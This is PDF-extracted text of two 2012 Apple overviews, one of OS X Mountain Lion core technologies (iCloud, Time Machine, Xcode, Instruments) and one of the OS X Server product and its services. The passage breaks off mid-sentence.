When you share a document—for example through email, iChat, or AirDrop—only the
latest, final version is sent. All other versions and changes remain safely on your Mac.
Document Lifecycle22
Core Technologies Overview
OS X Mountain Lion
Version Management
You can also manually lock, unlock, rename, move, or duplicate documents using the
pop-up menu next to the document title, which also shows you the current state
of the document.
Manage your versions directly from the pop-up menu next to the document title.
You can also use the same pop-up menu to browse previous versions using an
interface similar to Time Machine. It shows the current document next to a cascade
of previous versions, letting you make side-by-side comparisons. You can restore entire
past versions or bring elements from past versions such as pictures or text into your
working document.
Recovering work from previous versions is just a click away.
iCloud Storage
iCloud Storage APIs enable apps to store documents and key value data in iCloud.
iCloud wirelessly pushes documents to your devices and updates them whenever
any of your devices change them—all automatically.
Ubiquitous storage
The iCloud storage APIs let applications write your documents and data to a central
location and access those items from all your computers and iOS devices. Making a
document ubiquitous using iCloud means you can view or edit those documents from
any device without having to sync or transfer files explicitly. Storing documents in your
iCloud account also provides an extra layer of protection. Even if you lose a device,
those documents are still available from iCloud storage.23
Core Technologies Overview
OS X Mountain Lion
File coordination
Because the file system is shared by all running processes, conflicts can occur when
two processes (or two threads in the same process) try to change the same file at
the same time. To avoid this type of contention, OS X 10.7 and later include support
for file coordinators, which enable developers to safely coordinate file access between
different processes or different threads.
File coordinators mediate changes between applications and the daemon that
facilitates the transfer of the document to and from iCloud. In this way, the file
coordinator acts as a locking mechanism for the document, preventing applications
and the daemon from modifying the document simultaneously.
Safe versions
Versions automatically stores iCloud documents. This means iCloud never asks you to
resolve conflicts or decide which version to keep. It automatically chooses the most
recent version. You can always use the Browse Saved Versions option if you want to
revert to a different one. Versions’ chunking mechanism also minimizes the information
that needs to be sent across the network.
Ubiquitous metadata, lazy content
iCloud immediately updates the metadata (that is, the file name and other attributes)
for every document stored or modified in the cloud. However, iCloud may not push
the actual content to devices until later, perhaps only when actively requested. Devices
always know what’s available but defer loading the data in order to conserve storage
and network bandwidth..
Peer-to-peer networking
iCloud detects when you have multiple devices on the same local network, and
it copies the content directly between them rather than going through the cloud.
It eventually copies the content to the cloud, as well, to enable remote access
and backup.
Web access
iCloud provides a range of powerful web applications to let you work directly with
your data from a web browser. These include the usual personal information tools
(Mail, Calendar and AddressBook) as well as a complete suite of iWork viewers (Pages,
Keynote, and Numbers).24
Core Technologies Overview
OS X Mountain Lion
Spotlight
Spotlight is a fast desktop search technology that helps you organize and search for
files based on either contents or metadata. It’s available to users via the Spotlight
window in the upper-right of the screen. Developers can embed Spotlight in their
own applications using an API available from Apple.
Standard metadata
Spotlight defines standard metadata attributes that provide a wide range of options
for consistently storing document metadata, making it easier to form consistent
queries. These include POSIX-style file attributes, authoring information, and specialized
metadata for audio, video, and image file formats.
Extensible importers
Using OS X Launch Services, Spotlight determines the uniform type identifier of a
new or modified file and attempts to find an appropriate importer plug-in. If an
importer exists and is authorized, OS X loads it and passes it the path to the file.
Third parties can create custom importers that extract both standard and custom
metadata for a given file type and return a dictionary which is used to update the
Spotlight datastore.
Dynamic datastore
Every time you create, modify, or delete a file, the kernel notifies the Spotlight
engine that it needs to update the system store. OS X accomplishes this with the
high-performance fsevents API.
Live update
Whenever OS X updates the datastore, it also notifies the system results window
and any third-party client applications if the update causes different files to match or
not match the query. This ensures that the Mac always presents the latest real-time
information to the user.
Data Management25
Core Technologies Overview
OS X Mountain Lion
Time Machine
Time Machine, introduced in OS X 10.5 Leopard, makes it easy to back up and restore
either your entire system or individual files.
Easy setup
To set up Time Machine, all you need to do is select a local disk or Time Capsule to
store the backups. In OS X Mountain Lion, you can select multiple backup destinations
for Time Machine. OS X immediately starts backing up all your files in the background.
After the initial backup, it automatically creates new incremental backups every hour.
Coalescing changes
Time Machine leverages the fsevents technology developed for Spotlight to
continuously identify and track any folders (what UNIX calls directories) that contain
modified files. During the hourly backup, it creates a new folder that appears to
represent the entire contents of your hard drive. In reality, it uses a variant of UNIX hard
links that mostly point to trees of unmodified folders already on the disk. Those trees
are effectively copy-on-write, so that future changes never affect the backup version.
TIme Machine creates new trees inside a backup for any path that contains modified
folders. Time Machine creates new versions of those folders that contain links to the
current files, thus automatically capturing any changes that occurred in the past hour.
This avoids the overhead of either scanning every file on disk or capturing each and
every change to a file.
This technique allows each backup to provide the appearance and functionality of a
full backup while only taking up the space of an incremental backup (plus some slight
overhead for the metadata of modified trees). This makes it easy to boot or clone a
system from the most recent Time Machine backup.
Mobile Time Machine
OS X 10.7 Lion introduced Mobile Time Machine, which keeps track of modified
files even while you are disconnected from your backup drive. When you reconnect,
it will automatically record the hourly snapshots to ensure you don’t lose your
version history.
Preserving backups
Time Machine keeps hourly backups for the past 24 hours, daily backups for the past
month, and weekly backups until your backup drive is full. At that point OS X warns
you that it is starting to delete older backups. To be notified whenever OS X deletes an
older backup, open Time Machine preferences, click the Options... button, and check
the box next to Notify after old backups are deleted.26
Core Technologies Overview
OS X Mountain Lion
LLVM
The next-generation LLVM compiler suite is based on the open source LLVM.org
project. The LLVM.org project employs a unique approach of building compiler
technologies as a set of libraries. Capable of working together or independently,
these libraries enable rapid innovation and provide the ability to attack problems
never before solved by compilers.
Apple’s compiler, runtime, and graphics teams are extensive contributors to the
LLVM.org community. They use LLVM technology to make Apple platforms faster
and more secure.
Clang front-end
Clang is a high-performance front-end for parsing C, Objective-C, and C++ code as
part of the LLVM compiler suite. It supports the latest C++ standards, including a
brand-new implementation of the C++ standard libraries. Clang is also implemented
as a series of libraries, allowing its technology to be reused for static code analysis in
Xcode and the LLDB debugger.
Comprehensive optimization
LLVM’s flexible architecture makes it easy to add sophisticated optimizations at any
point during the compilation process. For example, LLVM performs whole-program
analysis and link-time optimizations to eliminate unused code paths.
Automatic Reference Counting
Automatic Reference Counting (ARC) for Objective-C lets the compiler take care of
memory management. By enabling ARC with the new Apple LLVM compiler, you never
need to manually track object lifecycles using retain and release, dramatically
simplifying the development process while reducing crashes and memory leaks. The
compiler has a complete understanding of your objects and releases each object
the instant it is no longer used. Apps run as fast as ever, with predictable, smooth
performance.
Developer Tools27
Core Technologies Overview
OS X Mountain Lion
Xcode
Xcode 4 is the latest version of Apple’s integrated development environment (IDE),
a complete toolset for building OS X and iOS applications. The Xcode IDE includes
a powerful source editor, a sophisticated graphical UI editor, and many other
features from highly customizable builds to support for source code repository
management. Xcode can help you identify mistakes in both syntax and logic and
will even suggest fixes.
The Xcode 4 integrated development environment
Static analysis
You can think of static analysis as providing you advanced warnings by identifying
bugs in your code before it is run—hence the term static. The Xcode static analyzer
gives you a much deeper understanding of your code than do traditional compiler
warnings. The static analyzer leverages the Clang libraries to travel down each possible
code path, identifying logical errors such as unreleased memory—well beyond the
simple syntax errors normally found at compile time.
Fix-it
Fix-it brings autocorrection from the word processor to your source code. The Xcode
Fix-it feature checks your symbol names and code syntax as you type, highlights any
errors it detects, and even fixes them for you. Fix-it marks syntax errors with a red
underbar or a caret at the position of the error and a symbol in the gutter. Clicking
the symbol displays a message describing the possible syntax error and, in many cases,
offers to repair it automatically. 28
Core Technologies Overview
OS X Mountain Lion
Interface Builder
Interface Builder is a graphical tool for designing user interfaces for OS X and iOS
applications. Like other Xcode editors, Interface Builder is fully integrated into the
application, so you can write and edit source code and tie it directly to your user
interface without leaving the Xcode workspace window.
Interface Builder, the easiest way to design your application’s user interface.
Version control
Xcode provides several ways to save versions of your project:
• A snapshot saves the current state of your project or workspace on disk for possible
restoration later.
• Source control repositories keep track of individual changes to files and enable
you to merge different versions of a file.
• An archive packages your products for distribution, either through your own
distribution mechanism or for submission to the App Store.
Editor area Utility area
Interface
Builder
objects
Dock
Canvas
Inspector selector bar
Library selector bar
Library pane
Inspector pane29
Core Technologies Overview
OS X Mountain Lion
Xcode also provides direct support for Git and Subversion repositories, including an
option to create a local Git repository when you create a new project. Because it’s so
easy to set up a repository to use with your Xcode project, Xcode provides a special
editor, called the version editor, that also makes it easy to compare different versions
of files saved in repositories.
The Xcode version editor.
Instruments
Instruments is an application for dynamically tracing and profiling OS X and iOS code.
It is a flexible and powerful tool that lets you track one or more processes, examine
the collected data, and track correlations over time. In this way, Instruments helps you
understand the behavior of both user programs and the operating system.30
Core Technologies Overview
OS X Mountain Lion
With the Instruments application, you use special tools (known as instruments) to trace
different aspects of a process’s behavior. You can also use the application to record a
sequence of user interface actions and replay them, using one or more instruments to
gather data.
Instruments includes Instruments, Track, and Extended Detail panes.
Synchronized tracks
The Instruments Track pane displays a graphical summary of the data returned by
the current instruments. Each instrument has its own track, which provides a chart
of the data collected by that instrument. The information in this pane is read-only.
You use this pane to select specific data points you want to examine more closely.
Multiple traces
Each time you click the Record button in a trace document, Instruments starts
gathering data for the target processes. Rather than appending the new data to any
existing data, Instruments creates a new trace run to store that data. This makes it
easy to compare behavior between different configurations.
A trace run consists of all of the data gathered between the time you click the Record
button and the Stop button. By default, Instruments displays only the most recent
trace run in the Track pane, but you can view data from previous trace runs in one
of two ways:
• Use the Time/Run control in the toolbar to select which trace run you want to view.
• Click the disclosure triangle next to an instrument to display the data for all trace
runs for that instrument.
Extended Detail pane
Toolbar
Detail pane
Navigation bar
Intruments pane
Track pane31
Core Technologies Overview
OS X Mountain Lion
User interface recording
A user interface track records a series of events or operations in a running program.
After the track records events, you can replay that track multiple times to reproduce
the same sequence of events over and over. Each time you replay a user interface
track, you can collect data using other instruments in your trace document. The benefit
of doing this is that you can then compare the data you gather on each successful run
and use it to measure the changes in your application’s performance or behavior.
DTrace
DTrace is a dynamic tracing facility available for Mac systems since OS X 10.5 Leopard.
Because DTrace taps into the operating system kernel, you have access to low-level
information about the kernel itself and about the user processes running on your
computer. DTrace is used to power many of the built-in instruments.
DTrace probes make it easy to use Instruments to create custom instruments. A probe
is a sensor you place in your code that corresponds to a location or event (such as a
function entry point) to which DTrace can bind. When the function executes or the
event is generated, the associated probe fires and DTrace runs whatever actions are
associated with the probe.
Most DTrace actions simply collect data about the operating system and user program
behavior at that moment. It is possible, however, to run custom scripts as part of an
action. Scripts let you use the features of DTrace to fine tune the data you gather.
That data is then available as an Instruments track to compare with data from other
instruments or other trace runs.
Accelerate
Accelerate is a unique framework of hardware-optimized math libraries that provides
the following:
• Vector digital signal processing (vDSP). Optimized Fast Fourier Transforms (FFTs),
convolutions, vector arithmetic, and other common video and audio processing tasks
for both single- and double-precision data.
• Vector image processing (vImage). Optimized routines for convolutions, compositing,
color correction, and other image-processing tasks, even for gigapixel images.
• vForce. Designed to wring optimal efficiency from modern hardware by specifying
multiple operands at once, allowing only default IEEE-754 exception handling.
• Linear Algebra Package (LAPACK). Industry-standard APIs written on top of BLAS for
solving common linear algebra problems.
• Basic Linear Algebra Subprograms (BLAS) Levels I, II, and III. High-quality “building
block” routines that perform basic vector and matrix operations using standard APIs.
• vMathLib. A vectorized version of libm that provides transcendental operations,
enabling you to perform standard math functions on many operands at once.32
Core Technologies Overview
OS X Mountain Lion
Automation
AppleScript
AppleScript is Apple’s native language for application automation, as used by the
AppleScript Editor. Its English-like syntax generates Apple events, which use a scripting
dictionary (provided by most Mac applications) to programmatically create, edit, or
transform their documents. AppleScript and other Open Scripting Architecture (OSA)
scripts can be activated by contextual menus, user interface elements, iCal events, and
even folder actions, such as drag and drop.
Automator
Automator provides a graphical environment for assembling actions (typically built
from AppleScript or shell scripts) into sophisticated workflows, which can be saved
as either standalone applications or as custom services, print plugins, folder actions,
iCal alarms, and Image Capture plugins.
Apple events
The Apple Event Bridge framework provides an elegant way for Cocoa applications
(including bridged scripting languages) to generate Apple events based on an
application’s dictionary, even generating appropriate header files if necessary.
Services
The Services menu lets you focus on only those actions relevant to your current
selection, whether in the menu bar, the Finder action menu, or a contextual menu.
Individual services can also be disabled and assigned shortcuts from the Keyboard
pane in System Preferences.
WebKit
WebKit is an open source web browser engine developed by Apple. WebKit’s HTML
and JavaScript code began as a branch of the KHTML and KJS libraries from KDE.
WebKit is also the name of the OS X system framework version of the engine that’s
used by Safari, Dashboard, Mail, and many other OS X applications
Key features include:
• Lightweight footprint
• Great mobile support
• Rich HTML5 functionality
• Easy to embed in Cocoa and Cocoa touch applications
• Available as open source at webkit.org33
Core Technologies Overview
OS X Mountain Lion
© 2012 Apple Inc. All rights reserved. Apple, the Apple logo, AirPlay, Airport, AirPort Extreme, Apple TV, AppleScript, Back to My Mac,
Bonjour, Cocoa, iCloud, MacBook, MacBook Air, Mac Pro, OS X, Safari, Spotlight, Time Machine, and Xcode are trademarks of Apple
Inc., registered in the U.S. and other countries. AirDrop and Open CL are trademarks of Apple Inc. App Store and iTunes Store are
service marks of Apple Inc., registered in the U.S. and other countries. Intel, Intel Core, and Xeon are trademarks of Intel Corp. in
the U.S. and other countries. UNIX® is a registered trademark of The Open Group. Other product and company names mentioned
herein may be trademarks of their respective companies. June 2012 L516500A
For More Information
For more information about OS X Mountain
Lion, visit www.apple.com/macosx.
• Extensible Firmware Interface (EFI): See www.uefi.org
• I/OKit: See Kernel Programming Guide: I/O Kit Overview
• Partition Schemes: See Technical Note TN2166: Secrets of the GPT
• Recovery Partitions: See OS X Lion: About Lion Recovery.
• Full-Disk Encryption: See OA X Lion: About FileVault 2.
• Backup: See Mac 101: Time Machine.
• File System Events: See Spotlight Overview
• Launchd: See the Daemons and Services Programming Guide
• Grand Central Dispatch (GCD): See the Concurrency Programming Guide
• Sandboxes: See Code Signing Guide
• Gatekeeper: See Distributing Outside the Mac App Store
• Bonjour: See Bonjour Overview.
• XPC: See Daemons and Services Programming Guide: Creating XPC Services.
• iCloud: See What’s New In OS X: iCloud Storage APIs
• LLVM: See The LLVM Compiler Infrastructure Project
• Xcode: See Xcode 4 User Guide
• Instruments: See Instruments User Guide
• WebKit: See WebKit Objective-C Programming Guide.
For More Information
OS X Server
Product Overview
June 2012Contents
Page 4 OS X Server
Page 6 Server App
Simplified Setup
Alerts Using Push Notifications
Page 7 File Sharing
Connection Monitoring
File Sharing for Mac, PC, and iPad
Standards-Based File Services
Flexible File Permissions
Spotlight Searching
Page 9 Wiki Server
Simplified Content Creation
Optimized for iPad
WebDAV Access
Quick Look
Page 11 Profile Manager
Mobile Device Management
Web-Based Administration
Self-Service Portal
Management Options
Page 13 Time Machine Backups
Server Backup
Page 14 Mail Server
Standards-Based SMTP, IMAP, and POP Server
Push Notifications
Safe and Secure
Optimized for Mobile Clients
Page 15 Contacts Server
Sharing Contacts
Standards-Based CardDAV Server
Global Address Books
Push Notifications
OS X Server 2
Product OverviewOS X Server 3
Product Overview
Page 17 Calendar Server
Standards-Based CalDAV Server
Email Invites
Page 18 Messages Server
Group Collaboration Made Easy
Page 19 Websites
Virtual Hosting, Including Multiple IP Addresses and
Virtual Domains
Encrypted Data Transport Using SSL
Dynamic Web Content
Page 20 VPN Server
Standards-Based Protocols
VPN On Demand
Page 21 NetInstall
Page 22 Software Update Server
Automatically Download Updates and Cache Them Locally
Page 23 Xsan
Volume Management
Metadata Controller Failover and File System Journaling
Real-Time Monitoring, Graphs, and Event Notifications
Page 24 Server Fundamentals
High-Performance Networking
Advanced Server Features
Security and Access Controls
Page 25 Tech Specs
System Requirements
Languages
Pricing
Additional ResourcesOS X Server
Product Overview
4
OS X Server is available for $19.99 as an
easy download from the Mac App Store.
The new OS X Server brings more power to your business, home office, or school.
OS X Server makes it easy for your Mac to share data with your iPhone, iPad, and
iPod touch, schedule meetings, synchronize contacts, host your own websites,
publish wikis, remotely access your network, and more.
Following are the key features of OS X Server:
File Sharing. Share documents, folders, and exchange files between multiple computers—
Mac or PC. And with wireless file sharing for iPad, users can access, copy, and share
documents on the server from within applications such as Keynote, Numbers, and Pages.
Wiki Server. Improve group collaboration using wikis. Users can create new wikis, add
content, formatting, tag, and cross-reference material, upload files and images, add
comments, view revision history, and share documents.
Profile Manager. Simplify deployment and management using configuration profiles
for OS X computers and iOS devices.
Time Machine Backups. Use your server as a Time Machine backup destination for all
the Mac computers on your network.
Mail Server. Standards-based mail services allow OS X Server to work with email clients
on the iPhone, iPad, Mac, and PC. Push notifications ensure iPhone and iPad users are
immediately notified when they receive new mail messages.
Contacts Server. Be more productive by enabling contacts to be shared and kept in
sync on your iPhone, iPad, and Mac.
OS X ServerOS X Server 5
Product Overview
Calendar Server. Easily share calendars, schedule meetings, and coordinate events
within your organization. OS X Server provides real-time access to your calendar from
your iPhone, iPad, Mac, or web browser.
Messages Server. Transfer files securely, share a persistent chat room, conduct an
audio conference, or even broadcast a presentation, movie, or photo slideshow to
other people using Messages with OS X Mountain Lion.
Web Server. Your complete, easy-to-use web hosting solution. You don’t need to be
an experienced webmaster to set up websites and host them on OS X Server.
VPN Server. Allow users to securely connect to your organization’s network services
and confidential information while at home or away from the office.
NetInstall. Save time by automating the deployment of software installation and
upgrades across your network.
Software Update Server. Automatically download Mac software updates and cache
them locally.
Xsan. Built into OS X, the Xsan file system allows any Mac with appropriate connectivity
to access an Xsan volume. OS X Server includes the Xsan Admin application for hosting
and configuring Xsan volumes.OS X Server 6
Product Overview
The Server app is a powerful tool for managing OS X Server. In one place, it gives you
control over managing users and groups and setting up key services such as file sharing,
calendaring, messaging, mail, wikis, secure remote access, and backup settings for
network clients.
Simplified Setup
Configuring OS X Server is almost as easy as configuring a desktop computer. Simply
launch the Server app. An assistant walks you through the initial setup and helps verify
network settings and define your administrator account. Next add users and groups
and enable the network services you want to deliver to your organization.
Alerts Using Push Notifications
The Server app also makes it easy to maintain your server. In addition to email,
OS X Server can send push notifications to alert you about new software updates,
unresponsive volumes, hard drives that are getting full, and users that have exceeded
their mail quota.
Server App
Designed for the future.
Server App features full support for
IPv6 services and addressing.OS X Server 7
Product Overview
Whether you’re supporting a creative team, a distributed sales force, a class of students,
or just about any small business or workgroup, you know your users need to share
information to work effectively. OS X Server makes it as easy for users to share files
between Mac computers, iPad devices, and PCs as if they were using the files locally.
Connection Monitoring
See who is accessing your server. File-sharing connection monitoring gives you the
status of who is connected, how long they have been connected, and whether they are
idle or not. In addition, you can send users notification messages and warn them if the
server is going offline.
File Sharing for Mac, PC, and iPad
Share documents, folders, and exchange files between multiple computers—Mac or PC.
And with wireless file sharing for iPad, users can access, copy, and share documents on
the server from within applications such as Keynote, Numbers, and Pages.
File Sharing
Why use a server?
Productivity is greatly enhanced when users
store work in centralized folders rather than
on individual computers. With centralized file
storage, all users have access to the same
up-to-the-minute file. Because a single
version resides on the server, there won’t
be any confusion about multiple versions of
the same document. And users won’t need
to worry about losing important data in the
event of a system failure or a lost or stolen
laptop. The file is always safe on the server.OS X Server 8
Product Overview
Standards-Based File Services
OS X Server makes it easy for you to set up central network storage that’s accessible to
clients throughout your organization. Using native protocols, OS X Server delivers file
services to all the clients on your network: AFP for Mac, SMB/CIFS for PC, NFS for UNIX
and Linux, WebDAV for iPad, and FTP for Internet clients. These flexible, cross-platform
file services enable groups to work more efficiently when sharing resources, archiving
projects, and backing up important documents.
Flexible File Permissions
OS X Server supports both traditional UNIX file permissions and access control lists
(ACLs), offering administrators an unprecedented level of control over file and folder
permissions. With file system ACLs, any file object can be assigned multiple users and
groups, including groups within groups. Each file object can also be assigned both
allow and deny permissions, as well as a granular set of permissions for administrative
control, read, write, and delete operations.
Spotlight Searching
Designed for workgroups with shared documents, projects, and files, the built-in
Spotlight Server delivers lightning-fast search results for content stored on the server.
Powerful search options such as Boolean logic, quoted phrase searching, category
labels, and range support make it easy to locate content in a flash. Content indexing
occurs on the server—automatically and transparently—keeping search results up-tothe-moment accurate.
To safeguard your organization’s data, Spotlight searching works with access controls
in OS X Server, so users see only the search results they have permission to view. This
makes it easy for everyone in a group to store files in a single shared location while
protecting confidential information from unauthorized access.OS X Server 9
Product Overview
OS X Server makes it easy for groups to collaborate and communicate using wikis. With
wikis, users can add content, formatting, tag, and cross-reference material, upload files
and images, add comments, view revision history, and share documents. And because
the wiki content is web based, it is easily accessible from your iPad, iPhone, Mac, or PC.
Simplified Content Creation
Editing a wiki is easy. An intuitive edit toolbar makes it easy for users to customize
fonts, add text, tables, and charts, and attach files, including audio and video. No
syntax, HTML, or markup required. You can even customize your wiki look and feel
with your own icon, color scheme, banner, and background image.
Wiki ServerOS X Server 10
Product Overview
Optimized for iPad
Wiki Server has an elegant, new touch-based design, giving iPad users faster, more
powerful ways to create, edit, and share information. In Safari on iPad, wikis appear as
tidy stacks—just tap to take a peek inside. Or tap to reveal recent activity, view change
history, or add comments.
WebDAV Access
iPad users can now open and save attachments from a wiki directly within applications
such as Keynote, Numbers, and Pages.
Quick Look
One of the most useful features of Wiki Server is Quick Look. By clicking the Quick
Look icon next to a file attachment on a wiki, users can view the document without
downloading it. Quick Look supports all standard file formats, including Word, Excel,
PowerPoint, Pages, Numbers, Keynote, QuickTime, PDF, and text documents.OS X Server 11
Product Overview
OS X Server is ideal for schools and businesses that need to simplify the deployment,
configuration, and management of computers and devices in the organization.
Mobile Device Management
Profile Manager delivers configuration-based profile setup and Mobile Device
Management (MDM) for Mac computers running OS X and iOS devices such as iPad,
iPhone, and iPod touch. It simplifies creation of user accounts for mail, calendars,
contacts, and chat, enforcement of restrictions and PIN and password policies,
configuration of system settings, and more.
Web-Based Administration
Featuring a web-based administration console, Profile Manager enables management
from web browsers such as Safari. Administrators can define profile settings for individual users, groups, devices, and groups of devices. For group-based management,
Profile Manager easily integrates with directory services such as Open Directory,
Active Directory, and LDAP.
Profile ManagerOS X Server 12
Product Overview
Self-Service Portal
To simplify profile deployment, Profile Manager includes a web portal where users
can download and install new configuration profiles for their Mac, iPad, iPhone, or
iPod touch. Users can access this portal in Safari to manage their passcode, set the
startup password for their Mac, or remotely lock and wipe devices that have been lost
or stolen.
Management Options
Accounts
• Email, calendar, contacts, and messages
• Exchange
• LDAP, CalDAV, and CardDAV
• Subscribed calendars
• VPN, Wi-Fi
• 802.1x settings and digital certificates
• Web clips
• APN, SCEP, and proxy server
iOS Policies and Restrictions
• Passcode age, length, and complexity
• Application launch restrictions
• YouTube
• iTunes Store
• Safari
• Camera
• Voice calling
• Encryption
• Content ratings
• iCloud
• Siri
• Photo Stream
• Game Center
OS X Policies and Restrictions
• System Preferences
• Media access restrictions
• Gatekeeper
• Directory services
• Dock settings
• Login window and items
• Mobility
• Software Update
• Printers
• Energy Saver
• Parental controlsOS X Server 13
Product Overview
OS X Server can act as a designated Time Machine backup for all the Mac computers
on your network. Centralizing your backup storage helps protect valuable data, free
up disk space on individual drives, and eliminate the need for separate backup drives.
Server Backup
OS X Server takes advantage of Time Machine to back up your server data—including
shared files, calendars, mail, wikis, and so on—to another hard drive, letting you easily
restore your server to an earlier configuration.
Time Machine BackupsOS X Server 14
Product Overview
OS X Server is the ideal solution for companies who need email access in the office
or while on the go. With OS X Server, you can bring email in house and use your own
domain name rather than rely upon your ISP to host your email.
Standards-Based SMTP, IMAP, and POP Server
Based entirely on open Internet standards, OS X Server provides mail services that work
with email clients on the iPhone, iPad, Mac, and PC.
Push Notifications
With integration into Apple’s push notification service, OS X Server can immediately
notify iPhone and iPad users when they receive new mail messages.
Safe and Secure
OS X Server uses security technologies to encrypt your confidential email communication.
In addition, it features adaptive filtering and virus detection systems to protect your
network from unwanted junk mail and destructive viruses. OS X Server analyzes the
content of each mail message and trains itself to recognize—and filter out—marginal
mail. It also scans both email messages and attachments for viruses and quarantines
and deletes them before they can make their way into your organization.
Optimized for Mobile Clients
OS X Server improves speed and responsiveness when accessing mail from a mobile
device. It features advanced IMAP protocol support that enables server-side document
searching of text and attachments, attachment compression, and attachment forwarding
without requiring a download.
Mail ServerOS X Server 15
Product Overview
Accessing an up-to-date list of contacts is critical to the operation of any business.
OS X Server keeps your business and employees productive by enabling contacts to
be shared and kept in sync on your iPhone, iPad, and Mac.
Sharing Contacts
With OS X Server, you can share and synchronize contacts—such as a list of customers,
suppliers, or employees—with other users, devices, and computers in your organization.
Contact information updated by one user is immediately available to everyone accessing
the shared CardDAV account.
Standards-Based CardDAV Server
Contacts Server uses the CardDAV protocol standard supported in iOS and OS X for
exchange of contact data. Users manage their contacts directly within Contacts on
their iPhone, iPad, or Mac. The information is then stored on OS X Server, allowing users
immediate access to the new and modified contacts within applications such as Mail,
Messages, and FaceTime.
Contacts ServerOS X Server 16
Product Overview
Global Address Books
Contacts Server delivers real-time search results from individually managed contacts in
addition to contacts stored in your company’s existing LDAP directory.
Push Notifications
With integration into Apple’s push notification service, OS X Server can immediately
notify users when contacts are added or modified.OS X Server 17
Product Overview
OS X Server makes it easy to share calendars, schedule meetings, and coordinate events
within your organization. OS X Server provides real-time access to your calendar from
your iPhone, iPad, Mac, or web browser. You and your colleagues can propose meetings,
book conference rooms, reserve resources, and add comments quickly and easily. You
can even attach files—such as agendas, to-do lists, presentations, and movies—to
the invitation.
Standards-Based CalDAV Server
Calendar Server uses the industry-standard CalDAV protocol for calendar scheduling
and sharing. Users access their calendar information directly within the Calendar
application on their iPhone, iPad, or web browser.
Email Invites
Need to invite someone who is not in your organization? No problem. Just add their
email address to the meeting proposal and OS X Server sends them an email invitation,
then shares their response with the rest of the meeting attendees.
Calendar Server
Push notifications
Calendar Server is integrated with Apple’s
push notification services, so you and your
colleagues find out immediately when there’s
a new meeting invitation or a change to an
upcoming event.OS X Server 18
Product Overview
Bring the power of collaborative instant messaging to your organization. With
Messages Server, users can transfer files securely, share a persistent chat room,
conduct an audio conference, or even broadcast a presentation, movie, or photo
slideshow to other people using Messages with Mountain Lion.
Group Collaboration Made Easy
Messages Server works with OS X to automatically populate users’ buddy lists with
members of the groups to which they belong, so it’s easy for them to start communicating. And thanks to store-and-forward functionality, Messages Server allows users
to send messages to buddies who are online, combining the advantages of instant
messaging and email.
Messages users can request Messages Server to create and host a persistent chat
room. Perfect for virtual-team scenarios, project-specific discussions, and real-time,
blow-by-blow updates, the chat room allows individuals to join at any time, leave
when they need to—even log out and shut down—and still come back to review
all communications from the time the chat room opened.
Messages Server
Standards based
Messages Server uses the Jabber instant
messaging protocol. Also known as XMPP,
the Jabber protocol enables support for Mac
computers using Messages, as well as for other
Jabber clients on iPhone, iPad, and PCs.OS X Server 19
Product Overview
You don’t need to be an experienced webmaster to set up websites and host them
on OS X Server. Web Server is preconfigured with default settings, so deployment is as
simple as turning it on. Any HTML content saved to the server’s default web folder will
be served over the Internet automatically.
Virtual Hosting, Including Multiple IP Addresses and Virtual Domains
OS X Server takes the complexity out of configuring, hosting, and managing websites.
You can configure individual security options, index files, and access controls, and you
can host dynamic web applications on a per-site basis.
Encrypted Data Transport Using SSL
OS X Server features integrated support for strong encryption and authentication using
digital SSL certificates.
Dynamic Web Content
OS X Server is extremely flexible, so you can add dynamic content for more interactive
websites and applications. Web Server supports dynamic content generated by Server
Side Includes, PHP, Apache modules, and CGIs. OS X Server even makes it easy to
install third-party web apps such as Mailman, Roundcube, Moodle, WordPress, Druple,
and others.
WebsitesOS X Server 20
Product Overview
OS X Server allows users to securely connect to your organization’s network services
and confidential information while at home or away from the office. Virtual private
network (VPN) access enables your offsite users to securely access network services
while preventing access by unauthorized individuals.
Standards-Based Protocols
OS X Server supports the standards-based L2TP/IPSec and PPTP tunneling protocols to
provide encrypted VPN connections for iPad, iPhone, Mac, and PCs. These VPN services
use highly secure authentication methods, including MS-CHAP and network-layer IPSec.
VPN On Demand
When using Profile Manager, administrators can now define VPN on-demand profiles to
provide seamless, secure access to your organization’s network. VPN on demand allows
your Mac to establish a secure connection to the VPN server without requiring the user
to bring up the connection manually.
VPN ServerOS X Server 21
Product Overview
Designed for administrators who manage operating system installations and software
updates for their organizations, NetInstall performs automated software installations,
whether it’s a new version of the operating system, a specific suite of applications for
a workgroup, or both. NetInstall saves time and eliminates the expense of distributing
software on disk and the need for administrators to configure each system in person.
NetInstallOS X Server 22
Product Overview
By deploying Software Update Server, administrators can control how and when
client computers download software, enabling access to approved software updates
only. This prevents users from selecting software that’s unsuitable for the organization.
At the same time, a local software update server streamlines network use, saving
the cost of multiple downloads of the same update and reducing unnecessary
bandwidth consumption.
Automatically Download Updates and Cache Them Locally
Software Update Server acts as a proxy for software updates for OS X. This caching
server allows administrators to control when and how software updates become
available for users’ systems. Software Update Server is capable of automatically
mirroring updates between the Apple software update server and your local server
to guarantee that the most current updates are immediately available.
Software Update ServerOS X Server 23
Product Overview
Xsan is a 64-bit cluster file system specifically designed for small and large computing
environments that demand the highest level of data availability. This specialized
technology enables multiple Mac computers to share RAID storage volumes over
a high-speed Fibre Channel network. Each client can read and write directly to the
centralized file system, accelerating user productivity while improving workgroup
collaboration. Because everyone can work with the same files on the network, Xsan
dramatically improves the efficiency of post-production and other data-intensive
workflows.
The Xsan file system is built into OS X, allowing any Mac with appropriate connectivity
to access an Xsan volume. OS X Server includes the Xsan Admin application for hosting
and configuring Xsan volumes.
Volume Management
Xsan allows you to create storage pools made of identical sets of LUNs and stripe
them together for fastest-possible performance. Different pools offering special
storage characteristics can be combined into volumes; data placement settings, or
affinities, enable you to direct data to specific volumes depending on performance
and protection requirements.
Metadata Controller Failover and File System Journaling
Xsan has a high-availability design that allows users to access mission-critical data
even in the event of a system or Fibre Channel network failure. Metadata controller
failover protects storage availability from server hardware failure. File system journaling
tracks modifications to metadata, enabling quick recovery of the file system in case of
unexpected interruptions in service. And Fibre Channel multipathing allows file system
clients to automatically use an alternate data path should a failure occur.
Real-Time Monitoring, Graphs, and Event Notifications
For day-to-day SAN management, OS X Server includes the Xsan Admin application.
Xsan Admin makes it easy to manage and monitor your SAN and to receive notifications
about impending issues.
XsanOS X Server 24
Product Overview
OS X Server takes advantage of the UNIX-compliant foundation of OS X. This rock-solid
core provides the stability, performance, and security that organizations require—and
full UNIX conformance ensures compatibility with existing server and application software.
High-Performance Networking
Incorporating the latest industry-standard networking and security protocols, OS X uses
the time-tested BSD sockets and TCP/IP stack to provide compatibility and integration
with IP-based networks.
A fully multithreaded IP stack and advanced process- and thread-scheduling algorithms
